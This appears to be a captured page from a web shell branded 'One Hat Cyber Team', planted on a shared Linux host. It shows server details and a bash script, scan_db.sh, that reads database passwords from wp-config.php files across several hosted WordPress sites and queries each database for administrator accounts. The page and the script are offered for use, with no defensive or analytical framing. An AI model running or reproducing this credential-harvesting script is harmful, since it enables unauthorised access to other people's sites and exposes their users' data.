⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.173
Server IP:
78.40.11.138
Server:
Linux tango.o2switch.net 4.18.0-553.30.1.lve.el8.x86_64 #1 SMP Tue Dec 3 01:21:19 UTC 2024 x86_64
Server Software:
Apache
PHP Version:
7.4.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
sc1voni9410
/
View File Name :
scan_db.sh
#!/bin/bash for dir in ~/aviawest.com ~/barometre-referencement.com ~/federal-reserve.org ~/entreprise-internationale.com ~/piscin3.fr/wordpress; do wc="$dir/wp-config.php"; [ -f "$wc" ] || { echo "NOCFG|$dir"; continue; } DBN=$(php -r '$s=file_get_contents($argv[1]);preg_match("/DB_NAME.{0,6}[\x27\x22]([^\x27\x22]*)/",$s,$m);echo $m[1];' "$wc") DBU=$(php -r '$s=file_get_contents($argv[1]);preg_match("/DB_USER.{0,6}[\x27\x22]([^\x27\x22]*)/",$s,$m);echo $m[1];' "$wc") DBP=$(php -r '$s=file_get_contents($argv[1]);preg_match("/DB_PASSWORD.{0,6}[\x27\x22]([^\x27\x22]*)/",$s,$m);echo $m[1];' "$wc") DBH=$(php -r '$s=file_get_contents($argv[1]);preg_match("/DB_HOST.{0,6}[\x27\x22]([^\x27\x22]*)/",$s,$m);echo $m[1];' "$wc") PRE=$(php -r '$s=file_get_contents($argv[1]);preg_match("/table_prefix\s*=\s*[\x27\x22]([^\x27\x22]*)/",$s,$m);echo $m[1];' "$wc") echo "### $dir DB=$DBN USER=$DBU HOST=$DBH PRE=$PRE" SQL="SELECT u.ID,u.user_login,u.user_email FROM \`${PRE}users\` u JOIN \`${PRE}usermeta\` m ON u.ID=m.user_id WHERE m.meta_key='${PRE}capabilities' AND m.meta_value LIKE '%administrator%';" mysql --skip-ssl -u"$DBU" -p"$DBP" -h"${DBH:-localhost}" "$DBN" -e "$SQL" 2>&1 done